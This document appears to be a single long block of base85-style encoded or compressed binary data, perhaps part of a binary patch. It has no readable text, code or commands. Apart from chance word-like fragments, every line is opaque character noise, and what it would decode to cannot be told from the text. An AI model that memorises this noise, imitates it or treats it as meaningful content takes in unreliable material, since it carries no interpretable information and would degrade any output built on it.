zSyps#UTh3>{1s0HGIB&_!Dltl^sUP0%ta_Rxga*=58OA$S~1p2ESDW9HheC-&~l;4 zd(kUt)-z}y2!4gvIU_LOUt$!*3bK~{vtx8G%Wv=(Rzu?Pi!2pMqq$_ z>;9yyB@76gZHrpYq!daO^g^jcs6MsvO0$hg`<4G9myI*LgtS(mjoQK>#qu9OE*|hs z!u$7yBC2`^3cRujj+1xe(tKi--5u}vj6B)n{;0q2PBMV?`?LHfkQdrm0`6Uz@b=aj zP+ztIJM5(bTeDm&ADTUJ86wO8me z?A2DLwQIR7oP?2lCw_=**5KnEl4aIPH}9gGrM!32L$RgXYzF57qU3B&=TU^0OZL5v z#+d_xShlkM41v#qz~PCn4#gU@s}`Jz;DJ~mpZr~Ftq%%Si+6>8Nx6^|`R2%5>?|(R zgKjmm!u>BgH_$d{=UlNwqHlMKCcIZZ=F~ct2eDk#HLXmocpoL%FzuJl-cktbDT+y; zMM$2r_tr9{2$Di{Vj||)y|EX*X*>nLs-px8q26RF^d>W}TxyApnkQ5BU!;Sp264tT zp+d~gz%C*?1G|Xq3?+8pQGSlI15fb7N)%Wu{bVzd+hBdXuaq#(S2Lj^ zyk49}R>`$>f%WdzF}Px&**ezCY_3t|7l?!$oi-ci(HT;(ZbHQ~>jB7=2+pn`UV^`+Y{aw z8OhYvBqNX-DA}5{t;5}#(#{doE@r^W1Vnb#n!QJCEOG&Qg%1M#6U%(8PB3!2(C9e3 z7N(jObClo)^cu2hIRQ(He;EMIZlQTU@5g?G_(2%E8dc$ewP>;XZ(Nj7q~WK}`@D)Ral!(W0{7G|mCX7X1FKgNP&pVF=0Hl7YDc{`s>+Aoy`pffzRgIm!c>%_lHKt8TbRs%= zHfFLgJAR+|Aj|H{Iagz$wd?~$0r4gr7~NrG8(tRYZbJ^S6n`M(g3uLNS!Y#VniqaG z&NSzq*>&o%e73%4GR4T|-l;|G!9pP`y_?s|!~s8!42JR5x$pBQ`zK5}jIRBay{#I- zaeyC*QoZ(6$cc=TO@!;-|>AiuozFtrC7pg0T^0 z?Km6nDB)~&hP_GlW-e1gz`9O@?y@%`l=_6h7R0neh>W?rh8w+$>L!W7X1vjY5P+7RlC$31&!KTMsMeB+0o)hp@e5DwVLSZ{YGVf#& zfHPJ5?6XHiAVJRAx~9F51EIJ(gq{aA1?lp)31_lHW^qfPkF)S#!`cF_kS9=b5hl<_ z?XTP{2vC@=Jk|Cq5*AS0mDZ`*D0^g$=+0Uvr2J~ayC1k?n`r!+)n{?_1>$c~5#VmK zfAQ{LMo>J2=QcH!3Z>(OcnprKKF!KrN4;{g!(OijIF%B1ki4P?<=(XUrdH0*WX!Cr z!7k)!Y~s19;^{en?`fFEiye{kjIu{vCvU5jSA)HqR<>4|MBA3^ra5V=rMu|>5sBEC z&pSZJ@*1HV(*!>o6&zIWY4DOEP;rWBcz6w11NCA|8l44D_Zy(9=gzL4Ro)|Pp?Tj`t}l!3pV^157G;_!z8y_k5fm4+zYW^PQS2>$)2>j(jd}Hzs8A|y zILWgpn5E7~r-Pj*80|)%(D91Of%$Y`wk-KO=&Sb0*~hc!oGfJU1k2<_!X;cST!I$- zYxJgQG_~Nlo&5@Y`@r`W!8dz+h`ZT=v?x@$qJEq_mC5EC2-=VfJOF{kqC@g57u0#Lkbu+Tk-2Ns%-@xfSKnH9THLv}iA3B=y2p8r8cX@UfypFj}$ z$T1AaupL%(=nj5a_lL4KvLbe~B3DSBD|JlC zV_VxEdt%2UhVhw6z)v&?1b>hn)K=im|B!^~tBP_)bTl53Yvc%z`k09-y(@E}D2qSo z3?rIfXBeS>#{-LHCZMgg#y4(CfrjPV$oMDNNvfOGufLP(v?hLw8qcc2QaY+xR>m4q z5MQ@gXy*8Z8A2y#2cWiLW!!uh z^X$RBqW)g?-~u_0W)CjJ$Fa~JTom<#q`@V;mB1x1aZKPw#yUBOkrid`AQlA$>#>nF zZoXuu*f}+Brtd91H1LQQ!Fs^<*O>7|b7t(!Hml@Yl3PP4%|`vN10|vDdD;v-Tg0>; z^>48UtEgYugFlPez4$U-f24$a0i*Ria$T`mx6#OJtqC5==vA0%np$9z6!< zhVn}v#vkVx=D{oKpO>3sT0ZRrXM7*nMAFE$j;0Z+na;SD&tUF|j_Jhq?H+2`YdQ2* zu1=D6*^!-SF@V4snklp~2dbR{)j~Iy7Z+(BbPB?k1gvJGQ)@V%I;Yy6z{}xi53JJG z)J#APj|DZjJOLBhVl7u^gt8IlS&`#J93Nh!w)K!HIkm9B1oAvwKw$Sb8`(HEGUPuN z;9%uH!yF>rSN(_yO5-VePY`d4YETx+-cudDB`+8~Sx{RiGsktGfDZo;d2a$9RdqN1 zCz(kyK*9||Gzdu0sL?2<#)Wi5Gh_y4U?M?5;~qsuEG`sg1d$~;K^?B6zTMQ;zV&VG z>r(rx-6Uw0gkTbkLI4#|t7u!jaa>pwA};g$e9yhJBm}U&{(sN=JbxaN+zvp|- z`R<4H)7LgULDO&+D5Z`7h{gA}!vbiSG!B#63qTjoJQ#rBDogug5ztP9|p^P(Gb{muG+B9H;nl21Uxw=bU0qyCK`~2FK}YEjU#`Ei*N=TuS=#m zZ;bQW-WEG`6GU+nMCT?9t;_q1p>{|-Qo66cV6yhREWuw3kLDU5J<$)C%C9*nnBhmmaE0J~Di^wmgS5u^rCd`o*w`Yy znDfS5z~EJ2*gMy6gY&zEX(t{@UraeXo|p?sf6I%%N@6LU?ro|t|KV@dwSfBs^M2%Q zdB<*aKQ1uX)*Dq$xjG#Nke})pU@0L!HZdhjKv1LKudQE z5UevnutR)Es%o5H1uJ~f1!CJSQCA0HpJEtW=z(mTD(TK1>sIyk)3avc)hx2N~p z_n-9JeaL<%_JnjiNo%Wbzmt2^cir!{^nU-xFX{K)mmdn=i8YztZ)o5o=JvtwZUeAR&>6q*0mB;=MU#8DgzP zld|_PFinYR8Ju>fE=1zLIY2`OA;fE6XDe~FGI?(V^1^$&947A#V-jvTKxC25d%rXS z)*^OwA8;*I;6m;KcUC38lpoo*Y~p%p!UCB<1lIJb*2BVT{*{6Rm-G)K*5E;qV6h1! z$Ps$mcK~eYTa6=jbB4uE>oa0^zav%!-q}R~=|5EdztR7zr2m(y{wKB(?>-BO58nTv z^dmY9Lg8Hq1#B1kjv>bw(C+}82Oq$;!~np?#0BJ$iq{PD;nTGIa2;#M*z~j?O!PUAx zGq+#%#(t_USF)5$k)`xobGj(y=TfswF@;hPg62}PljL2HPgzo0)Jyg zox%i$2u=~&CP5x~?%=t}D|Xt-^qIN0EVVJz7G=iI1hhh>im6=`tAXf@ZN`_TAY-0H zpYU^O6QoiUB{Gt~kH^Wj)!WKV7un=6S2EcKl>watCroRv#d5r5UEWRmU8^}Xh;Zrp zt<*D-P^!tAw@Jz)HxnfUs#Ym`Zr%4>n3z29!2HMG1kBTZl!D*yl(bbp+9z zb&JJ*Yr$Qnu94ec&<&4SX;};JA*aAJI`=M^!sybkOp|NGQ60vU@C>?X>?3j5+tNP$ z2cML6)Enpx6vEP(5vk7j2|Y^V2X;p9RLdb=_&$PG;=VLn7RbRX0+m-_@PZaLh9zCQ z8DZsePe$l7bi$&3IpXZE;x#M&85|R+JVsFei`W1&BFxgzK4o|JnwVXDc$OfE8RT9B zH8~8<9YMFT!N^y#nU{@h{t7!*i_I_^4%qlPVK50JFqUVr*>=Wt!#tB`AM2m`6 zZ9^^-LEPD0qwgeSmt{1^xFIrj#S8y-heD*Q!B>DUw(S?un{s11e1Lc&m#Z*eDC`AL zVx@wNin8&-uqqg&mb*(Dm>@JJVrgP3>NU}wu10CKl7+p|I9mx+ZV=mC42M$arUW=i zluOz2(-P#^0BO{#@WZtl-LEV}bnO{gqOAZ!K#}uRC&b!MjE9G)IE;T{(v%OAH!?`6 z!bCfx&U_PE);dQUFF}39m9&ex#883I@wDl=nN9G0GaOdr3ez7mUije(6E#Z|YTiK` z%8;F_sxf50**G3D9^>_!S%AvC!E-Yeq=5B*%+if-(Go4Zjlg>uGa+NEWl;;IR>jXa ze##l;pE7wUja;#eKg9$K4pR&#-N+Sh#|xcSRiby3h^$nlRctmsRl*q0+qh|KP>g5O z%2o*wCQVfFvVilB$8jnKi?mDw2;_&NNx-IA`zkXlLmG=*QO3QO*(B21)_7sIYArMx z-#zqP=H}AfC;+b6sy0RZ%@w?B=-OlI!$!kPUu2RWD%mL&Eng=9wyxXkgR4lli`iOC znP#y}!sp5Y9B*EazQe8W#s@>rX>4C)UtvobAX`c&HY2Z}EO!%`c<@?Sy0lZIsVLQ# znGQbZdB8`pV!%4_Ih8@#7oCcJm%F4@@>%p)xgv>cM#vE_{5|7EoFle`^C%J{>E~7w zw(3`rBsLNElOzXql`=n3(SrIqX{4Ez%KALe_CsL81U#BN(#8LxyW$P^%74h7z<|Y1 zi2Ha?R3Kh=ZP>`uDLck;s6DX+`(kOk-H`LRip7 zs)1uw18k}5JdOX<8sDK0`ku-w7HD_8CXZhWhcQ_nb~eD-C^U`e%?Y)&DjD2ru+K7Y zPe!*|Wju({!hMtV>1R7A_K8*OeTr>8M6s>LH58km6}ZnX&`$E~(^v362T?gZU^ zb~zWJLi4PWeO-bFK%Xu7#H1>=8dpFx^=*mo8_n;ljPZQO0VK3QyZvOP>D^$Q{;2F& zenFva3erOWgkY18BqG4ddMN&)C7m3oDu}!+J4AYn`o3={hWe?PcQ{u&K8l-N^Yu8K*3x zFxpBtjZem&5LAMsP3r1J@+4aU{!E`&t=!Y!a**{;99rvQGg;wVmdTnlWDDRP=EN4@ zYAO&EvUY)0Dv#O)PEjP4+5{daRfcBzBeLQjlZi1mfgAZIo4`-4B+RTXB}u03MiN-kU#A?3ynJPLV1Q0PBC#+R*(m0Xo5{Bpf=W8{(OsPvh`HIu(d&hXJZ@zB@ z&y~mbf@gSX5}wzl!;^z33D4_P9tF=66)5i@p%*BxXh?$cSiT7;CtFE?QX@$~IfD8A< zCS9&q*GDGR3s=k9@%C1?rf8&MOR|%$#k`Q#U@MD7<{d@kgqOn^zmDuGJ?^k5o_BC)Gu&>-0&NN2)K^C)G!)=>`XRn(p)8*B#w*&580q zU3WCw_~U)%{?tpw_UWW_`G2|&5>S}Bqg`xSeRW4Kod4lE`L7fJhteH6{`QsVj%Fuy zNB2uF=DaaGr8}B^DBV&2viwBz>9S5p|AWaoli>KSWwh5oNwBM!viy%A$_!(oC8Ir@ zTrgeMl^9M^zQR}zB43e9qd2Vr-@#;EKSv~bpsY)-+~_Sa5fV?yx~`W3A_#$1ND4wy z=R?A%MY;OtJCFys*z)!L;vF(@F`G!Vuye9SAFaJjHWft^UIH%7<|CeSCjTSc+6Ezp zisP@1x8u7UItyNBwsGY&lk1r+=Ev+BSRLcXYvs<3zXr+sAaZ~ZWZ6dJ>R$;C-;jP= zLDF<7!IyD&;YHr)><8d7YUON)b@5shAG^$4+|GL7JLq0jM&srnyW=VJn%laBEKfvA ztv8PP{7Zq#thpJc6E2;rHP+UebQt#u_!u&2^~NFzfydE>XrT8cRh^=Fbj6SK>NYPy z+?vX%pE%6J>#PK?t#kR+MRC+Y+B4S|4U+S+(|G8&$j`VNtxs(}TZiP`W9A+3%t_Sc zgB3psW6U(qa468Z3dGN50AaZ}Uc4n%$1#$`4xC{M|IkdZplRry#y=s};FA`~ly&u2 ziCKPie7KapDy{TT=KM~%P(cCURu3Yi4PB+jAULEMqK#^rp3ahV%0JW}C? zio{cI{MX4Me2dl?#vi`;lKnHg6v`SN%1~(w&X-xnh4>*Am;h$H6h<6|oY+}um*%Bt zvxHS0Bn)Wkk5&~#r({)Zt`cYR0^{9t#6T!?L%eXpt%;}yS0PmLCcVku^;+KKn`l|w zmDtTOb?JhfGagZ;Ayp3JN{)T_2{P7=#@`;2?!&5B3`(tR5eWmkUb2J!`i)zg+3$Ga z7jzdyzzIIGFwyb){yScj>Ugf%apVlD_&4eKhU3kiXC0>J3EQKJ&90`AvbOZ?#>c;q zzn$$iNxNdhOv}2dRi#@Yqvxpi@E(w>m`UQfX z9f_C>1LK7gNx5ruY-qeN$P?Fu5sLvap{*^~@_iFKaN=}2_P2s*;w2p~ zJUt|kDx8lWgrc!O2r4&vc4e(G3W(PTMb7;GdUA$@>eKr(L$s|pW; z4rKitC>xDu8Keq_zEK*RMq_HL5iCn^dScMqJ8DHQIlDUfgpw6$yQ@i#JtH6En3daL zOpjI4c5oLvY<9p497KaL{xC+i2c*HqJNKJnrZnnQE$?(1xljGlf8+NUksQ4Ksmc16 z_pP5DW1JwgGL?=Uhig}m12xkZVc0Ij`B-b~F5IuG&=@rrDb1(z#SqMXGe8*E`jXJj zvfittl0K%Uge(=5m@CZgY2GH&rsau&Vl{I#kQb{Nn{nF;fiTua;-AN6oMW_bAc)!C z?A~U3vsFwHlVqNV{NX+&m*l-{lea0QK|_2m^fG4b30o^6#IlWL(vDcYMDtp`c#}4;5GnhxejRqaEEMTAfd8x zc@-kj=yImn09g8-boGC|XihIvn$yG}lGHG*9)ud+EA5~M6l-5X_zNU`L>BJyMlyZ6 zy9>a9BRmw~(car|fB@L4q!a<6aw(Beqw|-uLe%Khjv|43xeNsX180dDyFNNQ-G{Z5 zsxaOY#f`a1dqj}BQ}K#IW)^4kA}z~}zkLj8S@DKv#a?s6R-Yk!ij8aF9%P}Ft5DqR z9pzrzi(b9f5ijtfYa%&CN9Ny^Oj>>|!EF>Bc|)FekoGh(G>RG@g6|%z*v?4OX5~f? zJ_LxUIl%YrLsdB3yr@rQe+RQGKl1&OPog%0)d`Xo<9ESV52*~6Ua6K+dL?)W7j5X`6*WD)+WR!$Gy<@N5{He&O>&Ea>sbfnpc zL3g95A7Mp+;4CN=ilqnJYj&%ZAN(3 z^o(9OS8nY2twIt-xm6jDi~c=2W4gIP#8~&qjmcDD_J@8qC-vbdjJF&cmfqfT3wYi!Gd~7g`_h{KFhtt+E>JbiK_|)9PL#?R8ynu zCE@xa>ak*yA0+&Jr|~E^ymPoO6d%-91yaSq!?1g!KPl-T#dz{75f8wD|3ZbML85TC z`XEz#bSebC=I<2(pAytmi8tfY(f#cQx_@}@c;c<-N(8RTOUu%O6C?6}1n;vK9Twi_d}+bEtWL1werteb8JhTVQe#+4M4=41JoD=#0 zQ|d|lnwILW5R_7Sl|BpR1pK~ZP zXGU-+K4(rGFdb;-%vCLHh?rRd+fqFj*Stx}Us2gW>XVee;-mt|8-3ESh-;WWsR*A% z;caj#O5<&kYYe&ul0rqs=88U??Xa6oi{JX9QTb~@6G+N!#yuy>Bc@xqM*E#ShR@3o z$zNK%7P+C;ggN{5l<9MSBebvZ0s4omjJc@z)4j-`M6Bo>T%BEx#o;&?rR6dNADAa6 zwAd#h_%2t1Z)|Ze+w(*xa;lQ&^Ak)Jx-wSM8t)*hOMi>dedV_VMWi*XifqlgeN)8K zrMov3M7V50pT0>f8q}R*v}fRh8`_4+;pt|yzrns#q`$;PU-uLUK_s^{Aoc2YC=F=J z9P*J6BAZs{73K5pme!29bV~K^eWs4xQ#gaUDPF0UkX!fy<${>tJpT*2MgsfN!+nab zf$>D7fDDUxbFP)2x+Aj|sNfa~Ou~~89bCbw4(d>>k`i!QCUA0>04T}z>hTt&L?)#* zjv=#4t|^{{k;oukJQ!}}f}hcm0TU{ z$}n|AIM@B#3yk%zDRT+}{&u1^>4dT2J9)Ta;F)}(9Bb~yMC4J2SF7ep_xwtk%tk%; zlE5!9mi6hc^kXb5H53taGg&F5DoG(Xx{jr^L1l?PRK6;G2+gMYWs=EXdF{4>;3QX5 zzCz5x(CGw7zhUrK;=nDj{%hjKMgQu}OiI;9Q#IV=lA|2+Mp1d(xN*M8OQOkP-U`o` zYL2HGCASk%;NP-ML`z!0I4RK!aOvhV$Cw{eAXb1;7Q6QvndZmTWblzo1F(;jsrtt} zC39SYWeslO>^3#ajNct6NUZP+{h>0&cqkG7Lh!SXEzP&KCwP?61C~}OWYeC&+smFn z)tgXJCIy9(cQ*Wy$uY|tk&u<&y{e{8++Y4IM1vTaEDlXH3}+f1``z2SGOi9i?5m8nJq+Gyn! zDd@9o;k~ zZY<`=68fV5ekUAo()*q6$=SyrE;;AlwZG>r>HS_mi+-;w`KC4^Y5qisY4`?G@iSO= zOgQ_rNW~%4*xis7RLL)snK!24rgNZ?$QNpJ@0(j0i4;o#p&Hp^g!^OHQ|#F{@F)5Y z*-Q6NYZ~CU1bS9eS zAcFSV#D4jkY&O-{MSau(VmIGk{bN%Ebw72dpAl1}UI9>PF8~RzC+3Kzutu@e(fp$T z1a{t+r}yr)Ae$lT-7mJ#ltxqwj?2vhl9f~l1Cbub;8 z;wy1|!offekg?t-NOJk7CHYEm*dO-;**JHm@s&%*n7ihIDzvtQyZ(h#WAc?t;VVBk zd524-rj~yoKYL5!FK`RpPOpkq!Nzu$z&(v~L=FKT-rpUv_5<#a)wn~JEqJZ(fIDQ> zjv>C>U4Ax37I}d^JnEyO^b&oI_3++|ZOH6@bhiBe&^|>~ovm#f;M& zhcgD`T?L_m>Iy;QT=}50;FzLZtsr*~GbH#0LzH6MM2;(7%y~@Z1!yq>a zgS7(+x~dCWJhRs&(JpmKw7R6;Us7tkY*VC$QUY`ucjhQuUR;tA`|p^YK&J4z+N4BU z$^X8K_G@~zpL<~Y^#^O8IaZ^{-_1@DFMJp-2Ptar7{>|^5U>}XPZqhY;r3p+WWLZk zadyLonvM~Q6|HagjPvS6UhZo4c>FKB zAk?)+xn_a4JJs8YHuLRz^R0=u=vCR3qmJ2V&zOH=c>Hkwa-qeUllktCE-8;*Wp_uf z`(pml?b%L}9ONf#YV^$So8NI6_y>Z9zkDo)TQ^Nl*dzpJ#tWO|E$Z3fvZB3rU{7vz zveAG&PNdA^GOF%cjO>_Q1&8Kn;auv#zDw@V)iZ(#PMcp0c>*2PRfTf$*_aC~mxBtcAYMb$QBQ3tSZ) zmvFEmL571B2Dq2%6cN3|i&^psKl}KJM;D-)4UOjUs6b>%E@4C2>k9w$5gm%wZ%xTx{p}O_Q<^wUBoVR zr$faXf-lvr z*_p=|Oly1Ny+3~iD;m7P8@*~_ETCuaf7zaqEm)^_=!WqrB)eYt9%)p&l|SLNwN|y4 zj8xSIPp8W4URD0sta7+_X8x0^WIJ*uI3~O1jfyc3+l;tMx>h15?KIAm?!lU_M&yA* zzMlW^f6`jC@cI&%*V<8nV6u53J7#4iOrn%D2m?7e1J&Ls4pRk*5N7S3F3d3BZuh(b z4$k79%uo2sl6-U4`)!`LGK>#O;_+t_YZ1p&!PJxJDQoc&^KGblTXDO*Me}d@P*zX* zG*f=e^1!@q5pVA3l%r$?Dbdze<6bU;*?JsPAdOCDL^) zT;j$_e^qPf3DS~lDE}ww4cYOZxq^q@>AYu%f8_XEx^+aT7=b%W_)Ms&(-<7ha6=oCvp!W&uSuxS-*~$!{!}#-4YROa**a!XF`rs(C*vu@{x7GNu`F%J`%AqiN!!Hy@ zzdr_yUW$%c>=vKOtXe7h5#!9GE&NAfV&cDLTsjqP1`-ie%m%*yQc)IKfu>Y+icm`|8o5cP&GY6q z<5_mGjpGDxMIy`RN5S~Xf`JXGv@UJkAK`IY0(C3VCb;no*o+0VAJHsXcD&IkSU!r!;cVds&BW}a5Y zao8uzo+bf}`#G!r`GKHq{w#XpQ9;{fxgm6l8_)bvP2N=;TUSwQYROfS7a7mQero%f zS=;DjZJhqa#$2>VG5gva&C9*?~%JGwV z5I4f{&GLzbt&T;x8HY2X^dL6OGlb@_&c$XRz;q>|Q;V2_nO;~_wNljaNO&RS#%Onl zeFaZfXK8oL;n81twL@!!{>)IpRP&CNqhTjT64hB?^Ohh6#06Ff8T>7MiUh18uh~?$Dy$--lSLjiswr|`x;*!M+@C=e<#?GCo0H*eCAI}P zr;RDQq_U{fBcL|`*|TAJYc|k zH(DQ8m>=8Z;}SlaksbtdLGt2sdoQTJ1Tpm8(0)10*?aFM_Hh>Wy>=66tGTG8h+OOuQ9Jk z^R@%x>QT0gZsiv{^9$mXI*eyVDPl9$B0Dz}xOhgqET?UV#$+5AM6)c;IU8qGtq}vJ zjOU8@1rgg|mi!|n6`4xGjVv$Y991xgo8xT-8Nun#LF-EPX=e7@$&Oe9R<}!)>M`=n z{4hgPi(D(W8tVX{I$+QHi44EcF@jCxlOts9ZZw>8K-H0?UP@{VCZO;^9su4EWH#2T zT%AT?BG)U4T(*%a*M~nQ*Kbs=4aO&k9B2sM(fqhkKHi}|ic|$k)+>~3okheZ?h3T# zpPf>O*&GzK1> zpmv@UAXkoB!h~y$Pnj>XYayoATMHwzj8qENFtI)8vWdRswkucx=;yzs=5C0$YzF*eVTXEy_FaW>8l7+AT@1Gx=rLS+-yI{(LR85Xz5{*{8EE0a zcdR|*U%SL=RC6R8}AunwZF!JXy)8R)-9wt$({bJMS+ISDcJovx)vGd70Uh;}u(A88g z`7l;%GryO!Ka8uig-ZE*PGz;7SQF8^Rc&H{SF6a`t;Y2lBvzxDOh&w0v-hvDXM`S6 z>#qGiweGeZ&AMBFDi{36)J*a9%hxr~-c{&f>S_Xs^oiM%$_e=NqT9 zrS|39R#QK?{fKloJpMQ8Ey1^)`m0P<(c^<>J{AmVgmWY<3~t;6yG*Lo`i2R zt(6ucT&+)7D}7gZn@vY2tB%63ox1ZI;BD}Obi92FzF3a`q?}{a44`@thAmURS$KPO zK@xATobiqD_Ava~r{J*3ul<^dT`f3b%tkb2aco!c2u?r!oN#P6SRC73d7Mm~T6G|D z@LA~7CWTsJjn!eqf348`9It+lNFWj?p`Uzkc8YC#)69}$+m5 zTI1lzLfoUUyF03KPbebygXBJ>*docVnzVZQp4INj^+!gqpARC~H0+p03@UG%XJ`}} z-~2ElGDSX&M$+qV^Bh;%?m5x?P-d1mt+LvI(6M5LkvS{@#+VGca@3Q5lY`(h^W|Q7 zS+R*1J-eOgQ{#ntm=D3UBp1J==#rz@h)x{eRZK~(TKt_p-Y)B@v`W?!hFQ(Q5b;-d z;~Y3UDMf@yHn{m+Bq23&4q%FV%TcxrwWLJR0FM4Q^-!Hg`>xe;*5Cn_WYC5`q83&b zA5G@$Y}VC3nI~nJ|C{r0;2S@T-exK9*b(c)?|f?O2#^12H7A)ip(T>tEO{$OweW{K zASy>aCJ)(a-;iTOkRl;AIY0pSUC^9LZqm9x!{8h}dp1B1H<#-jZm767hSIE_ z?ut4@ zgxAfEWyE*HkALjX(&y~Q`O_T|>BaH?X{P*2QpAlRe*90&l%GlpGepWtGewt_^HfTM znX+6`PE{$lm?;Y+WrRw(!A!YPQh*)xTw|uploVyint@4oG5{Tf zYxu*3n5Vk+0dDO6V_um*+giWv z1HWy*-?kY?CYOHENTiL;qL&IiZZa3Z z{9H1jscvlM8_uW4(zA-@?td}4KK;DZEl)oEQ(u{~HPyN5(Y{MW-WixM;xWL^HB`6n z0xyoDb6y*Fzj(T0x!NlGE*`vk_6D|k{Ab9A+v|+SP!EwR?)=({i)n`(Ps(8cW3xi! zQ<9PWbjD-RshN^fNa)Z^Orn|*mdKUKcbp?Ts!I093%i&rackGJk7Ny{6}BY{pO74G zof_^^bGUWf)2yoU?CAbf8rIu=cjkJX?I9HM5G4U>rdmxp7g-`5W`m?(s}b#FSYvoY zTX8RMuF5Ni1yAMoNG^GsIq96`=Zup}#X?7O^>?LzoFg>E>s&mpJT%a!U;Y`Ld?R!@ z&if3GWpn>VQ04l%fL!a%T={h4j=$0k$~rqZ=-7rt2L2Zim`LY#a3-ibb=2NwJD@LTxOV62A?r zM)tCOYnh*Th;Y4Y%UlJqYux%JMQ%V6&_*{>r`TP#y5gOZ#GFn=oNH?r-IbRwsy6N#vF`6 zJ&A^2SJG%K*~N0KN`{XbCdIp2j+(o6#FxiO)Dbl+Ws&V$LQt!-6upuw%MJl_lv^#SNjB<~C z2{(SJX8%iVv^0CUs>AfwO7__}U7g3-{}_y1AYx1FR%%?vU^7qrPB`J0ie{fj4*hjd6i-&;zsaz-H8Y5$W}|VuPavuc z1l4L#j0&*vQtxo7R~eYV_`xW$;W1J~M#c!UJ4U`_C|rMyOphGDd@MF@V$8HJb#Nxv zrfM+$GF6Rqms#xSnZ1ggt%~(qZn0TzlUZ(Z?{aZ-ys3FPcUgw%RJ&SCO(Qnr`a7lH zrm;k^u?Gxe?K@me8El5)RM!m*+N(vRl@ZG~w(vd74JcB=IGMV*!jlEh_J9ItfKi7r zET4+f=Ud^S#IF=v3oJTjZWrU>Ba9E1O6j=;#_xF04J?WEc}4oka;N7J(dsqfp5Y5@ z;nrfkwR;C`FaJXNJAWjnNhqJ?vj}tqJ%_~J7U$!=_PWgAtMYBQQBD{2&X&&|+SBW` zRl~f?-_2;C??{Qypw>XH>jVu@_)BS2drT*V&$P&uPUW;>R5}IxZ;}0b=jzq= zZgD;5(a`Ql17SC!w77@X)U>-$9O}(XK6e7xw!GUoy(lkufj)(sp1SAfyYI?TH=cFx zV5H&CGjBPG9=P@O*blDY&gZsg1^}4eJ$SQRdJtOf8Mic3Td{zqx)<@w>buOb*>?xU zdzbvRDygm5Pg~vMkMdFgz=@=*RN;m!r7GDS%enY7UU=K-SsB_I5D!o6^~b%at!j}& zsWq{$t%ani(L20ltfNh;ymwQNTW==yBtiO(|Y#svUfTSa9nngg1fzMEadI`QCb z&QNU2d+E2~K6?meGZHYE4VckRl$DTe{I!}1 zlFJZ5$%=;a0My$YeDT%>XGW;UTlO~A{h7wLdNOe}BCAOAON?F>p3>MPW&0sp(rx&n z*}uuWwwYOcJyq(7HT#^+zsO&}N9+a5t z?W+sGD`S-8kd=*I{MFyF8K^K4ti$Yfd7})rc5D>?#an;(ClK=GbD_7HD&s%)iljjw z6_S#y_(>J(jq6osw~5f~MIPI$i_a5uj?(>Tp^*b6{0rF-BBN@hkdDPpXZ!-FhWsjd zkK|v^AJOFE2m<-j8LxHRXEydQjaftU(oJOy+>b4=m;FA`zg?fH{#{iRJINdGR8ax+ zJQ$1hK|ByM%OS@2Pd<2WVSTGuJ(zQbKbH zO{q`AjCyl0m(n*#X<5X*=rLwx^*EW|@qk+nJ;k1lLkP|!0M`qd;R}l*7Z%G*RNZx3 z39X+itwUr+hTJvH!R$=r-M~&K9s}|Ws}~ws^k>8Pw;zWT2Qx#csPZRKd0X~NBxM>u z)}*0Pvw5-5$m;um!$8~|j2fq$7{s|A_o)q3Zz&)G!5%ZG5r0z@gR>_rSCYE9@c=HxyyG$1(3sWk@TvaKqSIl@WRC*Ns^P zLmb>sBXycfElJml-7X|vbFhGs#~!n1e4XcLILDE(?EAv@d|ze}Lq|cQlZb$R7?4up z;qjEP+DOOOOW4Fek7)!crNONTA3zP_Z-Mq7g7)Q7F$u$sdMU4W%7>kNfW5koJ82SM zC!~K3UpJ1dsV(QF?o~uA0zbRk?>6~{XtvS`M!>TOJ7EjRi?zJM;ofo|eE!~nT6s(j zH~UkO;|aCm$)(fYNR2q!5vv&)P!A|-)KjZl-{A`X6Qkw5K^uE=c*j1M1j^2EIbYCL z{6*C>V-=E}NBx4(8{JT$#m0ri%5X)mz!J9R?LAsS;l)S_^)3FHJB=lyAcKiBQL~0< zIiZ2t#hZ;EkQBSft$TiFyn#o%PyedM`SB7D5~EKLU9;QQtiiCALW*u}8bKD@SELdS z+x^_5`WEB2lp-frBv?6(`%zZ=oL?_~R-f^xq(Y;(Y+H?|XsLS-eU>0|D_%HA=Z|G0 ze->;8?Q1ql?|+Jl!R-ASTI$pLCrPq;KkC5Vr}|{}em`8P+55K>y?>tp^%|$K9sP;w zeWL5=ZajC{&`1mPnB!Mk!r0>g)Nc8=eG^DU4)%TSoS$)5X$KHKU^~gk)%HDn7 zO5aa5`<@!5QIP0+qT?XTI04!W8Opu8L6&=sFTgSS=D9ZwS$NO>#quPw$m>J$nm`su z0Bp(f3Y}UrTCnB4+Z474CRm2xS0cbWIIjHcjzi;07KHnOyUXElrH4`pcq?2v3L&A1 zE4SjR-v{0Sk}P;TdF&1E6ckN(7oK_muH;aN#hIEJ;{ljJYimizl_95n16=7~btL+( zaOFZomuBCeqwPL@e}W{d@5^}X-S}ho_vr1hf%~?p=MJJeaS(gON~l&@2?+_HxN?(TL>erdw&TKd zAAdZ?YV>zp`c5Ts?v^Wl>@KrUg>m2C&?hQU8~e6Tj^L{ zbmG_Ho@2E;|4z^TSiWNK(qZAR3qlp+28B*rS)F-G-D7WuPKXtc8x+iaejr(5!>v@_ z9r8XvS)(CV&5}!5ACM#f*h+!VwdV(klLlt9WB#VZ5B`}S8}HvMCt!Xv0=ydi1<35Z zk^li!4oua+{3d`9W^&c|-fd*Dl*v#$)70@u+u+so}F`(a=V} z{ufjBpg&pCAYE{{S3YS_Wa9wds&OKXI_5A=6!perr;%bjPWZx783LN&!EHAZkKCkGPsHhsJa^B zr-rijy=}F13@8*{H!gJuUZFgq{s;K_+3atCuL3(UaX4U1 z;_&4b4);dk@^6B|@$0@33U@NV|0xQCtOw$6sTTyki`qS>f8?FH*ElY!aM(Y{1}?UN z!>3CEI1F`p>RF_^R~mAewGI>fZpCdRWZZ6)cnG;0OB(1?O33ZDgxm@Jz-wIdCVYr~lk`$+#MR{xLheK$ zM@*gNf-p0XBhmH#dQ4WvODNZ#d069czmBOFnLzybsH7+VD)~Y7B?};SK&%rbuyrJR zGOzK%#biYEGG4w#3-9QXiyrmc~ma}lZ=%Q~1uGYm|H2n@_4 z;#a^{PQeD}siExXLPspS!CA&(7jIoT$o16ue|mdmi|gd(#kuCHCvY2W0E30j%Oy}dp zE356NT*AZol**2I<%DtZ`hAs^cI5*0R-4k}H8@MX`kqh;B7E)X!N!f(SUo@Ys^EtW z=bjWIxa5_YF@m*>uHd#ewc`_VliBt2%j=84U%>Io(Voy_Vt*)j-FsV_i!ANb#Q;{= zSR(FW{~-jbPybw0qNUMOnwubln1$D!23JGL;asduHRSkpg|Eg4rXt?({qj(rJG$@{ 